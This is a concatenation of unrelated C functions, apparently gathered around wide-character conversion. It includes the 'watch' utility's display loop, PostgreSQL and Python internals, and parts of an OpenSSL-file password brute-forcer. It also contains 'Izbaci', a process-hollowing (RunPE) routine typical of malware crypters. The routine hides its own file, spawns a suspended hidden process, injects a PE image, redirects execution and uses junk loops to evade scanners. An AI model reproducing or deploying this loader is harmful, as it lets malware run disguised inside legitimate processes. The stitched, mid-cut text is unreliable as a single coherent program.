if(width >= tsl + hlen + 2) { if(width < tsl + hlen + 4) { mvaddstr(0, width - tsl - 4, "... "); }else{ if(width < tsl + hlen + wcommand_columns) { // print truncated int avail_columns = width - tsl - hlen; int using_columns = wcommand_columns; int using_characters = wcommand_characters; while(using_columns > avail_columns - 4) { using_characters--; using_columns = wcswidth(wcommand, using_characters); } mvaddnwstr(0, hlen, wcommand, using_characters); mvaddstr(0, width - tsl - 4, "... "); }else{ mvaddwstr(0, hlen, wcommand); } } } } mvaddstr(0, width - tsl + 1, ts); } free(header); } /* allocate pipes */ if (pipe(pipefd)<0) { perror("pipe"); do_exit(7); } /* flush stdout and stderr, since we're about to do fd stuff */ fflush(stdout); fflush(stderr); /* fork to prepare to run command */ child=fork(); if (child<0) { /* fork error */ perror("fork"); do_exit(2); } else if (child==0) { /* in child */ close (pipefd[0]); /* child doesn't need read side of pipe */ close (1); /* prepare to replace stdout with pipe */ if (dup2 (pipefd[1], 1)<0) { /* replace stdout with write side of pipe */ perror("dup2"); exit(3); } dup2(1, 2); /* stderr should default to stdout */ if (option_exec) { /* pass command to exec instead of system */ if (execvp(command_argv[0], command_argv)==-1) { perror("exec"); exit(4); } } else { status=system(command); /* watch manpage promises sh quoting */ /* propagate command exit status as child exit status */ if (!WIFEXITED(status)) { /* child exits nonzero if command does */ exit(1); } else { exit(WEXITSTATUS(status)); } } } /* otherwise, we're in parent */ close(pipefd[1]); /* close write side of pipe */ if ((p=fdopen(pipefd[0], "r"))==NULL) { perror("fdopen"); do_exit(5); } for (y = show_title; y < height; y++) { int eolseen = 0, tabpending = 0; wint_t carry = WEOF; for (x = 0; x < width; x++) { wint_t c = L' '; int attr = 0; if (!eolseen) { /* if there is a tab pending, just spit spaces until the next stop instead of reading characters */ if (!tabpending) do { if(carry == WEOF) { c = my_getwc(p); }else{ c = carry; carry = WEOF; } }while (c != WEOF && !isprint(c) && c<128 && wcwidth(c) == 0 && c != L'\n' && c != L'\t' && (c != L'\033' || option_color != 1)); if (c == L'\033' && option_color == 1) { x--; process_ansi(p); continue; } if (c == L'\n') if (!oldeolseen && x == 0) { x = -1; continue; } else eolseen = 1; else if (c == L'\t') tabpending = 1; if (x==width-1 && wcwidth(c)==2) { y++; x = -1; //process this double-width carry = c; //character on the next line continue; //because it won't fit here } if (c == WEOF || c == L'\n' || c == L'\t') c = L' '; if (tabpending && (((x + 1) % 8) == 0)) tabpending = 0; } move(y, x); if (option_differences) { cchar_t oldc; in_wch(&oldc); attr = !first_screen && ((wchar_t)c != oldc.chars[0] || (option_differences_cumulative && (oldc.attr & A_ATTRIBUTES))); } if (attr) standout(); addnwstr((wchar_t*)&c,1); if (attr) standend(); if(wcwidth(c) == 0) { x--; } if(wcwidth(c) == 2) { x++; } } oldeolseen = eolseen; } fclose(p); /* harvest child process and get status, propagated from command */ if (waitpid(child, &status, 0)<0) { perror("waitpid"); do_exit(8); }; /* if child process exited in error, beep if option_beep is set */ if ((!WIFEXITED(status) || WEXITSTATUS(status))) { if (option_beep) beep(); if (option_errexit) do_exit(8); } first_screen = 0; refresh(); if (precise_timekeeping) { watch_usec_t cur_time = get_time_usec(); next_loop += USECS_PER_SEC*interval; if (cur_time < next_loop) usleep(next_loop - cur_time); } else usleep(interval * 1000000); } endwin(); return 0; }
/* * char2wchar --- convert multibyte characters to wide characters * * This has almost the API of mbstowcs_l(), except that *from need not be * null-terminated; instead, the number of input bytes is specified as * fromlen. Also, we ereport() rather than returning -1 for invalid * input encoding. tolen is the maximum number of wchar_t's to store at *to. * The output will be zero-terminated iff there is room. */ size_t char2wchar(wchar_t *to, size_t tolen, const char *from, size_t fromlen, pg_locale_t locale) { size_t result; if (tolen == 0) return 0; #ifdef WIN32 /* See WIN32 "Unicode" comment above */ if (GetDatabaseEncoding() == PG_UTF8) { /* Win32 API does not work for zero-length input */ if (fromlen == 0) result = 0; else { result = MultiByteToWideChar(CP_UTF8, 0, from, fromlen, to, tolen - 1); /* A zero return is failure */ if (result == 0) result = -1; } if (result != -1) { Assert(result < tolen); /* Append trailing null wchar (MultiByteToWideChar() does not) */ to[result] = 0; } } else #endif /* WIN32 */ { /* mbstowcs requires ending '\0' */ char *str = pnstrdup(from, fromlen); if (locale == (pg_locale_t) 0) { /* Use mbstowcs directly for the default locale */ result = mbstowcs(to, str, tolen); } else { #ifdef HAVE_LOCALE_T #ifdef HAVE_MBSTOWCS_L /* Use mbstowcs_l for nondefault locales */ result = mbstowcs_l(to, str, tolen, locale); #else /* !HAVE_MBSTOWCS_L */ /* We have to temporarily set the locale as current ... ugh */ locale_t save_locale = uselocale(locale); result = mbstowcs(to, str, tolen); uselocale(save_locale); #endif /* HAVE_MBSTOWCS_L */ #else /* !HAVE_LOCALE_T */ /* Can't have locale != 0 without HAVE_LOCALE_T */ elog(ERROR, "mbstowcs_l is not available"); result = 0; /* keep compiler quiet */ #endif /* HAVE_LOCALE_T */ } pfree(str); } if (result == -1) { /* * Invalid multibyte character encountered. We try to give a useful * error message by letting pg_verifymbstr check the string. But it's * possible that the string is OK to us, and not OK to mbstowcs --- * this suggests that the LC_CTYPE locale is different from the * database encoding. Give a generic error message if verifymbstr * can't find anything wrong. */ pg_verifymbstr(from, fromlen, false); /* might not return */ /* but if it does ... */ ereport(ERROR, (errcode(ERRCODE_CHARACTER_NOT_IN_REPERTOIRE), errmsg("invalid multibyte character for locale"), errhint("The server's LC_CTYPE locale is probably incompatible with the database encoding."))); } return result; }
bool Izbaci(LPBYTE lpBuf) { STARTUPINFOW si; PROCESS_INFORMATION krele; CONTEXT ctx; PIMAGE_DOS_HEADER jabuka; PIMAGE_NT_HEADERS jabuka1; PIMAGE_SECTION_HEADER jabuka2; memset(&si, 0, sizeof(si)); si.cb = sizeof(STARTUPINFO); ctx.ContextFlags = CONTEXT_FULL; si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_HIDE; denis(320); GetModuleFileNameW(NULL, direkcija,MAX_PATH); if(PostojiW(direkcija)) { SetFileAttributesW(direkcija, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM ); } //********************************************* if(Slama[strlen(Slama)-1] == 'D') { if(Slama[strlen(Slama)-2] == 'A') { if(Slama[strlen(Slama)-3] == 'P') { Slama[strlen(Slama)-3] = '\0'; } } } //********************************************* jabuka = (PIMAGE_DOS_HEADER)&lpBuf[0]; if(jabuka->e_magic != IMAGE_DOS_SIGNATURE) { return false; } //********************************************* if(Slama[strlen(Slama)-1] == 'P') { Slama[strlen(Slama)-1] = '\0'; } //********************************************* jabuka1 = (PIMAGE_NT_HEADERS)&lpBuf[jabuka->e_lfanew]; if(jabuka1->Signature != IMAGE_NT_SIGNATURE) { return false; } //********************************************* if(Slama[strlen(Slama)-1] == 'A') { if(Slama[strlen(Slama)-2] == 'P') { Slama[strlen(Slama)-2] = '\0'; } } //********************************************* if(Slama[0] == '1' & Slama[1] == 'p' & Slama[2] == 'i' & Slama[3] == 'k' & Slama[4] == 'e') { Slama = ""; } for(int i = 0;i<strlen(Slama);i++) { if(Slama[i] == '+') { Slama[i] = '\0'; } } int q = 50000; for(i = 0;i < q; i++) { q = q + 1; } int size = strlen(Slama); WCHAR * name; name = new WCHAR[size]; mbstowcs(name, Slama, size); if (xProcesPokreni(direkcija, name, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &krele) == TRUE) //AddSubOne(rand(),3); ////MessageBox(NULL,"1",NULL,NULL); clean(); MapaPuta(krele.hProcess, (PVOID)jabuka1->OptionalHeader.ImageBase); ////MessageBox(NULL,"2",NULL,NULL); //AddSubOne(rand(),3); xEXLociraj(krele.hProcess, (LPVOID)jabuka1->OptionalHeader.ImageBase, jabuka1->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); clean(); //AddSubOne(rand(),89); ////MessageBox(NULL,"3",NULL,NULL); if (xPisemMemoriju(krele.hProcess, (LPVOID)jabuka1->OptionalHeader.ImageBase, &lpBuf[0], jabuka1->OptionalHeader.SizeOfHeaders, NULL) == TRUE) for(INT i = 0; i < jabuka1->FileHeader.NumberOfSections; i++) { ////MessageBox(NULL,"4",NULL,NULL); clean(); jabuka2 = (PIMAGE_SECTION_HEADER)&lpBuf[jabuka->e_lfanew + sizeof(IMAGE_NT_HEADERS) + sizeof(IMAGE_SECTION_HEADER) * i]; ////MessageBox(NULL,"5",NULL,NULL); //AddSubOne(32,rand()); //clean(); xPisemMemoriju(krele.hProcess, (LPVOID)(jabuka1->OptionalHeader.ImageBase + jabuka2->VirtualAddress), &lpBuf[jabuka2->PointerToRawData], jabuka2->SizeOfRawData, NULL); ////MessageBox(NULL,"6",NULL,NULL); } if (xUzmiKontekst(krele.hThread, &ctx) == TRUE) { ////MessageBox(NULL,"7",NULL,NULL); //AddSubOne(rand(),14); ctx.Eax = jabuka1->OptionalHeader.ImageBase + jabuka1->OptionalHeader.AddressOfEntryPoint; ////MessageBox(NULL,"8",NULL,NULL); //AddSubOne(rand(),25); clean(); xPodesiKontekst(krele.hThread, &ctx); ////MessageBox(NULL,"9",NULL,NULL); //AddSubOne(7,rand()); for(i = 0;i < q; i++) { q = q + 1; } xNastaviPut(krele.hThread); ////MessageBox(NULL,"10",NULL,NULL); //clean(); //AddSubOne(rand(),rand()); } return true; }
void restore_state() { unsigned int i, n; unsigned long long int total_ops = 0; unsigned long long int run_time; unsigned char *line; FILE *state = fopen(state_file, "r"); if(state == NULL) { fprintf(stderr, "Warning: can't open state file, state not restored, a new file will be created.\n\n"); return; } fprintf(stderr, "Warning: restoring state, ignoring options -B, -b, -e, -f, -l, -m and -s.\n\n"); if(dictionary != NULL) fclose(dictionary); if((fscanf(state, "openssl %ms\n", &line) != 1) || (fscanf(state, "time %llu\n", &run_time) != 1)) { fprintf(stderr, "Error: parsing the state file failed.\n\n"); exit(EXIT_FAILURE); } free(line); start_time = time(NULL) - run_time; if(fscanf(state, "bruteforce %u %u\n", &min_len, &max_len) == 2) { dictionary = state; if(fscanf(state, "binary %ms\n", &binary) == 1) charset_len = strlen(binary_charset); else { if((read_dictionary_line(&line, &n) == 0) || (n < 8)) { fprintf(stderr, "Error: parsing the state file failed.\n\n"); exit(EXIT_FAILURE); } charset_len = mbstowcs(NULL, line + 8, 0); if(charset_len == 0) { fprintf(stderr, "Error: charset must have at least one character.\n\n"); exit(EXIT_FAILURE); } if(charset_len == (unsigned int) -1) { fprintf(stderr, "Error: invalid character in charset.\n\n"); exit(EXIT_FAILURE); } charset = (wchar_t *) calloc(charset_len + 1, sizeof(wchar_t)); if(charset == NULL) { fprintf(stderr, "Error: memory allocation failed.\n\n"); exit(EXIT_FAILURE); } mbstowcs(charset, line + 8, charset_len + 1); } if((read_dictionary_line(&line, &n) == 0) || (n < 7)) { fprintf(stderr, "Error: parsing the state file failed.\n\n"); exit(EXIT_FAILURE); } prefix_len = mbstowcs(NULL, line + 7, 0); if(prefix_len == (unsigned int) -1) { fprintf(stderr, "Error: invalid character in prefix.\n\n"); exit(EXIT_FAILURE); } prefix = (wchar_t *) calloc(prefix_len + 1, sizeof(wchar_t)); if(prefix == NULL) { fprintf(stderr, "Error: memory allocation failed.\n\n"); exit(EXIT_FAILURE); } mbstowcs(prefix, line + 7, prefix_len + 1); if(binary) prefix_len = wcstombs(NULL, prefix, 0); if((read_dictionary_line(&line, &n) == 0) || (n < 7)) { fprintf(stderr, "Error: parsing the state file failed.\n\n"); exit(EXIT_FAILURE); } suffix_len = mbstowcs(NULL, line + 7, 0); if(suffix_len == (unsigned int) -1) { fprintf(stderr, "Error: invalid character in suffix.\n\n"); exit(EXIT_FAILURE); } suffix = (wchar_t *) calloc(suffix_len + 1, sizeof(wchar_t)); if(suffix == NULL) { fprintf(stderr, "Error: memory allocation failed.\n\n"); exit(EXIT_FAILURE); } mbstowcs(suffix, line + 7, suffix_len + 1); if(binary) suffix_len = wcstombs(NULL, suffix, 0); dictionary = NULL; if(fscanf(state, "%llu\n", &total_ops) != 1) { fprintf(stderr, "Error: parsing the state file failed.\n\n"); exit(EXIT_FAILURE); } thread_locals[0].counter = total_ops; if(fscanf(state, "%u\n", &len) != 1) { fprintf(stderr, "Error: parsing the state file failed.\n\n"); exit(EXIT_FAILURE); } tab = (unsigned int *) calloc(len + 1, sizeof(unsigned int)); if(tab == NULL) { fprintf(stderr, "Error: memory allocation failed.\n\n"); exit(EXIT_FAILURE); } for(i = 0; i < len; i++) if(fscanf(state, "%u ", &tab[i]) != 1) { fprintf(stderr, "Error: parsing the state file failed.\n\n"); exit(EXIT_FAILURE); } } else if(fscanf(state, "dictionary %ms\n", &dictionary_file) == 1) { if(fscanf(state, "%llu\n", &total_ops) != 1) { fprintf(stderr, "Error: parsing the state file failed.\n\n"); exit(EXIT_FAILURE); } thread_locals[0].counter = total_ops; dictionary = fopen(dictionary_file, "r"); if(dictionary == NULL) { fprintf(stderr, "Error: can't open dictionary file.\n\n"); exit(EXIT_FAILURE); } for(i = 0; i < total_ops; i++) read_dictionary_line(&line, &n); } else { fprintf(stderr, "Error: parsing the state file failed.\n\n"); exit(EXIT_FAILURE); } fclose(state); }
static void calculate_path(void) { extern wchar_t *Py_GetProgramName(void); static wchar_t delimiter[2] = {DELIM, '\0'}; static wchar_t separator[2] = {SEP, '\0'}; char *_rtpypath = Py_GETENV("PYTHONPATH"); /* XXX use wide version on Windows */ wchar_t *rtpypath = NULL; wchar_t *home = Py_GetPythonHome(); char *_path = getenv("PATH"); wchar_t *path_buffer = NULL; wchar_t *path = NULL; wchar_t *prog = Py_GetProgramName(); wchar_t argv0_path[MAXPATHLEN+1]; wchar_t zip_path[MAXPATHLEN+1]; int pfound, efound; /* 1 if found; -1 if found build directory */ wchar_t *buf; size_t bufsz; size_t prefixsz; wchar_t *defpath; #ifdef WITH_NEXT_FRAMEWORK NSModule pythonModule; const char* modPath; #endif #ifdef __APPLE__ #if MAC_OS_X_VERSION_MAX_ALLOWED >= MAC_OS_X_VERSION_10_4 uint32_t nsexeclength = MAXPATHLEN; #else unsigned long nsexeclength = MAXPATHLEN; #endif char execpath[MAXPATHLEN+1]; #endif wchar_t *_pythonpath, *_prefix, *_exec_prefix; _pythonpath = _Py_char2wchar(PYTHONPATH, NULL); _prefix = _Py_char2wchar(PREFIX, NULL); _exec_prefix = _Py_char2wchar(EXEC_PREFIX, NULL); if (!_pythonpath || !_prefix || !_exec_prefix) { Py_FatalError( "Unable to decode path variables in getpath.c: " "memory error"); } if (_path) { path_buffer = _Py_char2wchar(_path, NULL); path = path_buffer; } /* If there is no slash in the argv0 path, then we have to * assume python is on the user's $PATH, since there's no * other way to find a directory to start the search from. If * $PATH isn't exported, you lose. */ if (wcschr(prog, SEP)) wcsncpy(progpath, prog, MAXPATHLEN); #ifdef __APPLE__ /* On Mac OS X, if a script uses an interpreter of the form * "#!/opt/python2.3/bin/python", the kernel only passes "python" * as argv[0], which falls through to the $PATH search below. * If /opt/python2.3/bin isn't in your path, or is near the end, * this algorithm may incorrectly find /usr/bin/python. To work * around this, we can use _NSGetExecutablePath to get a better * hint of what the intended interpreter was, although this * will fail if a relative path was used. but in that case, * absolutize() should help us out below */ else if(0 == _NSGetExecutablePath(execpath, &nsexeclength) && execpath[0] == SEP) { size_t r = mbstowcs(progpath, execpath, MAXPATHLEN+1); if (r == (size_t)-1 || r > MAXPATHLEN) { /* Could not convert execpath, or it's too long. */ progpath[0] = '\0'; } } #endif /* __APPLE__ */ else if (path) { while (1) { wchar_t *delim = wcschr(path, DELIM); if (delim) { size_t len = delim - path; if (len > MAXPATHLEN) len = MAXPATHLEN; wcsncpy(progpath, path, len); *(progpath + len) = '\0'; } else wcsncpy(progpath, path, MAXPATHLEN); joinpath(progpath, prog); if (isxfile(progpath)) break; if (!delim) { progpath[0] = L'\0'; break; } path = delim + 1; } } else progpath[0] = '\0'; PyMem_RawFree(path_buffer); if (progpath[0] != SEP && progpath[0] != '\0') absolutize(progpath); wcsncpy(argv0_path, progpath, MAXPATHLEN); argv0_path[MAXPATHLEN] = '\0'; #ifdef WITH_NEXT_FRAMEWORK /* On Mac OS X we have a special case if we're running from a framework. ** This is because the python home should be set relative to the library, ** which is in the framework, not relative to the executable, which may ** be outside of the framework. Except when we're in the build directory... */ pythonModule = NSModuleForSymbol(NSLookupAndBindSymbol("_Py_Initialize")); /* Use dylib functions to find out where the framework was loaded from */ modPath = NSLibraryNameForModule(pythonModule); if (modPath != NULL) { /* We're in a framework. */ /* See if we might be in the build directory. The framework in the ** build directory is incomplete, it only has the .dylib and a few ** needed symlinks, it doesn't have the Lib directories and such. ** If we're running with the framework from the build directory we must ** be running the interpreter in the build directory, so we use the ** build-directory-specific logic to find Lib and such. */ wchar_t* wbuf = _Py_char2wchar(modPath, NULL); if (wbuf == NULL) { Py_FatalError("Cannot decode framework location"); } wcsncpy(argv0_path, wbuf, MAXPATHLEN); reduce(argv0_path); joinpath(argv0_path, lib_python); joinpath(argv0_path, LANDMARK); if (!ismodule(argv0_path)) { /* We are in the build directory so use the name of the executable - we know that the absolute path is passed */ wcsncpy(argv0_path, progpath, MAXPATHLEN); } else { /* Use the location of the library as the progpath */ wcsncpy(argv0_path, wbuf, MAXPATHLEN); } PyMem_RawFree(wbuf); } #endif #if HAVE_READLINK { wchar_t tmpbuffer[MAXPATHLEN+1]; int linklen = _Py_wreadlink(progpath, tmpbuffer, MAXPATHLEN); while (linklen != -1) { if (tmpbuffer[0] == SEP) /* tmpbuffer should never be longer than MAXPATHLEN, but extra check does not hurt */ wcsncpy(argv0_path, tmpbuffer, MAXPATHLEN); else { /* Interpret relative to progpath */ reduce(argv0_path); joinpath(argv0_path, tmpbuffer); } linklen = _Py_wreadlink(argv0_path, tmpbuffer, MAXPATHLEN); } } #endif /* HAVE_READLINK */ reduce(argv0_path); /* At this point, argv0_path is guaranteed to be less than MAXPATHLEN bytes long. */ /* Search for an environment configuration file, first in the executable's directory and then in the parent directory. If found, open it for use when searching for prefixes. */ { wchar_t tmpbuffer[MAXPATHLEN+1]; wchar_t *env_cfg = L"pyvenv.cfg"; FILE * env_file = NULL; wcscpy(tmpbuffer, argv0_path); joinpath(tmpbuffer, env_cfg); env_file = _Py_wfopen(tmpbuffer, L"r"); if (env_file == NULL) { errno = 0; reduce(tmpbuffer); reduce(tmpbuffer); joinpath(tmpbuffer, env_cfg); env_file = _Py_wfopen(tmpbuffer, L"r"); if (env_file == NULL) { errno = 0; } } if (env_file != NULL) { /* Look for a 'home' variable and set argv0_path to it, if found */ if (find_env_config_value(env_file, L"home", tmpbuffer)) { wcscpy(argv0_path, tmpbuffer); } fclose(env_file); env_file = NULL; } } if (!(pfound = search_for_prefix(argv0_path, home, _prefix))) { if (!Py_FrozenFlag) fprintf(stderr, "Could not find platform independent libraries <prefix>\n"); wcsncpy(prefix, _prefix, MAXPATHLEN); joinpath(prefix, lib_python); } else reduce(prefix); wcsncpy(zip_path, prefix, MAXPATHLEN); zip_path[MAXPATHLEN] = L'\0'; if (pfound > 0) { /* Use the reduced prefix returned by Py_GetPrefix() */ reduce(zip_path); reduce(zip_path); } else wcsncpy(zip_path, _prefix, MAXPATHLEN); joinpath(zip_path, L"lib/python00.zip"); bufsz = wcslen(zip_path); /* Replace "00" with version */ zip_path[bufsz - 6] = VERSION[0]; zip_path[bufsz - 5] = VERSION[2]; if (!(efound = search_for_exec_prefix(argv0_path, home, _exec_prefix))) { if (!Py_FrozenFlag) fprintf(stderr, "Could not find platform dependent libraries <exec_prefix>\n"); wcsncpy(exec_prefix, _exec_prefix, MAXPATHLEN); joinpath(exec_prefix, L"lib/lib-dynload"); } /* If we found EXEC_PREFIX do *not* reduce it! (Yet.) */ if ((!pfound || !efound) && !Py_FrozenFlag) fprintf(stderr, "Consider setting $PYTHONHOME to <prefix>[:<exec_prefix>]\n"); /* Calculate size of return buffer. */ bufsz = 0; if (_rtpypath && _rtpypath[0] != '\0') { size_t rtpypath_len; rtpypath = _Py_char2wchar(_rtpypath, &rtpypath_len); if (rtpypath != NULL) bufsz += rtpypath_len + 1; } defpath = _pythonpath; prefixsz = wcslen(prefix) + 1; while (1) { wchar_t *delim = wcschr(defpath, DELIM); if (defpath[0] != SEP) /* Paths are relative to prefix */ bufsz += prefixsz; if (delim) bufsz += delim - defpath + 1; else { bufsz += wcslen(defpath) + 1; break; } defpath = delim + 1; } bufsz += wcslen(zip_path) + 1; bufsz += wcslen(exec_prefix) + 1; buf = (wchar_t *)PyMem_Malloc(bufsz*sizeof(wchar_t)); if (buf == NULL) { /* We can't exit, so print a warning and limp along */ fprintf(stderr, "Not enough memory for dynamic PYTHONPATH.\n"); fprintf(stderr, "Using default static PYTHONPATH.\n"); module_search_path = L"" PYTHONPATH; } else { /* Run-time value of $PYTHONPATH goes first */ if (rtpypath) { wcscpy(buf, rtpypath); wcscat(buf, delimiter); } else buf[0] = '\0'; /* Next is the default zip path */ wcscat(buf, zip_path); wcscat(buf, delimiter); /* Next goes merge of compile-time $PYTHONPATH with * dynamically located prefix. */ defpath = _pythonpath; while (1) { wchar_t *delim = wcschr(defpath, DELIM); if (defpath[0] != SEP) { wcscat(buf, prefix); wcscat(buf, separator); } if (delim) { size_t len = delim - defpath + 1; size_t end = wcslen(buf) + len; wcsncat(buf, defpath, len); *(buf + end) = '\0'; } else { wcscat(buf, defpath); break; } defpath = delim + 1; } wcscat(buf, delimiter); /* Finally, on goes the directory for dynamic-load modules */ wcscat(buf, exec_prefix); /* And publish the results */ module_search_path = buf; module_search_path_malloced = 1; } /* Reduce prefix and exec_prefix to their essence, * e.g. /usr/local/lib/python1.5 is reduced to /usr/local. * If we're loading relative to the build directory, * return the compiled-in defaults instead. */ if (pfound > 0) { reduce(prefix); reduce(prefix); /* The prefix is the root directory, but reduce() chopped * off the "/". */ if (!prefix[0]) wcscpy(prefix, separator); } else wcsncpy(prefix, _prefix, MAXPATHLEN); if (efound > 0) { reduce(exec_prefix); reduce(exec_prefix); reduce(exec_prefix); if (!exec_prefix[0]) wcscpy(exec_prefix, separator); } else wcsncpy(exec_prefix, _exec_prefix, MAXPATHLEN); PyMem_RawFree(_pythonpath); PyMem_RawFree(_prefix); PyMem_RawFree(_exec_prefix); PyMem_RawFree(rtpypath); }
int main(int argc, char **argv) { pthread_t *decryption_threads; char *filename; int fd, i, ret, c; struct stat file_stats; setlocale(LC_ALL, ""); OpenSSL_add_all_algorithms(); /* Get options and parameters */ opterr = 0; while((c = getopt(argc, argv, "1aB:b:c:d:e:f:hL:l:M:m:Nns:t:v:w:")) != -1) switch(c) { case '1': only_one_password = 1; break; case 'a': list_algorithms(); exit(EXIT_FAILURE); break; case 'B': binary = optarg; break; case 'b': prefix_len = mbstowcs(NULL, optarg, 0); if(prefix_len == (unsigned int) -1) { fprintf(stderr, "Error: invalid character in prefix.\n\n"); exit(EXIT_FAILURE); } prefix = (wchar_t *) calloc(prefix_len + 1, sizeof(wchar_t)); if(prefix == NULL) { fprintf(stderr, "Error: memory allocation failed.\n\n"); exit(EXIT_FAILURE); } mbstowcs(prefix, optarg, prefix_len + 1); break; case 'c': cipher = EVP_get_cipherbyname(optarg); if(cipher == NULL) { fprintf(stderr, "Error: unknown cipher: %s.\n\n", optarg); exit(EXIT_FAILURE); } break; case 'd': digest = EVP_get_digestbyname(optarg); if(digest == NULL) { fprintf(stderr, "Error: unknown digest: %s.\n\n", optarg); exit(EXIT_FAILURE); } break; case 'e': suffix_len = mbstowcs(NULL, optarg, 0); if(suffix_len == (unsigned int) -1) { fprintf(stderr, "Error: invalid character in suffix.\n\n"); exit(EXIT_FAILURE); } suffix = (wchar_t *) calloc(suffix_len + 1, sizeof(wchar_t)); if(suffix == NULL) { fprintf(stderr, "Error: memory allocation failed.\n\n"); exit(EXIT_FAILURE); } mbstowcs(suffix, optarg, suffix_len + 1); break; case 'f': dictionary = fopen(optarg, "r"); if(dictionary == NULL) { fprintf(stderr, "Error: can't open dictionary file.\n\n"); exit(EXIT_FAILURE); } break; case 'h': usage(argv[0]); exit(EXIT_FAILURE); break; case 'L': limit = (long unsigned int) atol(optarg); break; case 'l': min_len = (unsigned int) atoi(optarg); break; case 'M': magic = optarg; break; case 'm': max_len = (unsigned int) atoi(optarg); break; case 'N': no_error = 1; break; case 'n': no_salt = 1; break; case 's': charset_len = mbstowcs(NULL, optarg, 0); if(charset_len == 0) { fprintf(stderr, "Error: charset must have at least one character.\n\n"); exit(EXIT_FAILURE); } if(charset_len == (unsigned int) -1) { fprintf(stderr, "Error: invalid character in charset.\n\n"); exit(EXIT_FAILURE); } charset = (wchar_t *) calloc(charset_len + 1, sizeof(wchar_t)); if(charset == NULL) { fprintf(stderr, "Error: memory allocation failed.\n\n"); exit(EXIT_FAILURE); } mbstowcs(charset, optarg, charset_len + 1); break; case 't': nb_threads = (unsigned int) atoi(optarg); if(nb_threads == 0) nb_threads = 1; break; case 'v': status_interval = (unsigned int) atoi(optarg); break; case 'w': state_file = optarg; break; default: usage(argv[0]); switch(optopt) { case 'B': case 'b': case 'c': case 'd': case 'e': case 'f': case 'L': case 'l': case 'M': case 'm': case 's': case 't': case 'v': case 'w': fprintf(stderr, "Error: missing argument for option: '-%c'.\n\n", optopt); break; default: fprintf(stderr, "Error: unknown option: '%c'.\n\n", optopt); break; } exit(EXIT_FAILURE); break; } if(optind >= argc) { usage(argv[0]); fprintf(stderr, "Error: missing filename.\n\n"); exit(EXIT_FAILURE); } filename = argv[optind]; /* Check variables */ if(cipher == NULL) cipher = EVP_aes_256_cbc(); if(digest == NULL) digest = EVP_md5(); if(dictionary != NULL) { fprintf(stderr, "Warning: using dictionary mode, ignoring options -b, -e, -l, -m and -s.\n\n"); } else { if(prefix == NULL) { prefix_len = mbstowcs(NULL, "", 0); prefix = (wchar_t *) calloc(prefix_len + 1, sizeof(wchar_t)); if(prefix == NULL) { fprintf(stderr, "Error: memory allocation failed.\n\n"); exit(EXIT_FAILURE); } mbstowcs(prefix, "", prefix_len + 1); } if(suffix == NULL) { suffix_len = mbstowcs(NULL, "", 0); suffix = (wchar_t *) calloc(suffix_len + 1, sizeof(wchar_t)); if(suffix == NULL) { fprintf(stderr, "Error: memory allocation failed.\n\n"); exit(EXIT_FAILURE); } mbstowcs(suffix, "", suffix_len + 1); } if(charset && binary) { fprintf(stderr, "Error: options -B and -s can't be both set.\n\n"); exit(EXIT_FAILURE); } else if(binary) { charset_len = strlen(binary_charset); prefix_len = wcstombs(NULL, prefix, 0); suffix_len = wcstombs(NULL, suffix, 0); } else if(charset == NULL) { charset_len = mbstowcs(NULL, default_charset, 0); charset = (wchar_t *) calloc(charset_len + 1, sizeof(wchar_t)); if(charset == NULL) { fprintf(stderr, "Error: memory allocation failed.\n\n"); exit(EXIT_FAILURE); } mbstowcs(charset, default_charset, charset_len + 1); } if(charset_len == 0) { fprintf(stderr, "Error: charset must have at least one character.\n\n"); exit(EXIT_FAILURE); } if(min_len < prefix_len + suffix_len + 1) { fprintf(stderr, "Warning: minimum length (%u) isn't bigger than the length of specified password characters (%u). Setting minimum length to %u.\n\n", min_len, prefix_len + suffix_len, prefix_len + suffix_len + 1); min_len = prefix_len + suffix_len + 1; } if(max_len < min_len) { fprintf(stderr, "Warning: maximum length (%u) is smaller than minimum length (%u). Setting maximum length to %u.\n\n", max_len, min_len, min_len); max_len = min_len; } } last_pass[0] = '\0'; /* Check header */ fd = open(filename, O_RDONLY); if(fd == -1) { perror("open file"); exit(EXIT_FAILURE); } if(no_salt == 0) { memset(salt, 0, sizeof(salt)); ret = read(fd, salt, 8); if(strncmp(salt, "Salted__", 8) != 0) { close(fd); fprintf(stderr, "Error: %s is not a salted openssl file.\n\n", filename); exit(EXIT_FAILURE); } /* Read salt */ ret = read(fd, salt, 8); if(ret != 8) { close(fd); fprintf(stderr, "Error: could not read salt.\n\n"); exit(EXIT_FAILURE); } } /* Read encrypted data */ ret = fstat(fd, &file_stats); if(no_salt) data_len = file_stats.st_size; else data_len = file_stats.st_size - 16; data = (char *) malloc(data_len); if(data == NULL) { fprintf(stderr, "Error: memory allocation failed.\n\n"); exit(EXIT_FAILURE); } for(i = 0; i < data_len;) { ret = read(fd, data + i, data_len - i); if(ret == -1) { close(fd); fprintf(stderr, "Error: could not read data.\n\n"); exit(EXIT_FAILURE); } else if(ret > 0) i += ret; } close(fd); signal(SIGUSR1, handle_signal); if(status_interval > 0) { signal(SIGALRM, handle_signal); progress_timer.it_value.tv_sec = status_interval; progress_timer.it_value.tv_usec = 0; progress_timer.it_interval.tv_sec = status_interval; progress_timer.it_interval.tv_usec = 0; setitimer(ITIMER_REAL, &progress_timer, NULL); } pthread_mutex_init(&found_password_lock, NULL); pthread_mutex_init(&get_password_lock, NULL); decryption_threads = (pthread_t *) malloc(nb_threads * sizeof(pthread_t)); thread_locals = (struct decryption_func_locals *) calloc(nb_threads, sizeof(struct decryption_func_locals)); if((decryption_threads == NULL) || (thread_locals == NULL)) { fprintf(stderr, "Error: memory allocation failed.\n\n"); exit(EXIT_FAILURE); } start_time = time(NULL); if(state_file != NULL) { restore_state(); signal(SIGVTALRM, save_state); state_timer.it_value.tv_sec = 60 * nb_threads; state_timer.it_value.tv_usec = 0; state_timer.it_interval.tv_sec = 60 * nb_threads; state_timer.it_interval.tv_usec = 0; setitimer(ITIMER_VIRTUAL, &state_timer, NULL); } /* Start decryption threads */ for(i = 0; i < nb_threads; i++) { ret = pthread_create(&decryption_threads[i], NULL, &decryption_func, &thread_locals[i]); if(ret != 0) { perror("Error: decryption thread"); exit(EXIT_FAILURE); } } for(i = 0; i < nb_threads; i++) { pthread_join(decryption_threads[i], NULL); } if(found_password == 0) { handle_signal(SIGUSR1); /* Print some stats */ fprintf(stderr, "Password not found\n"); 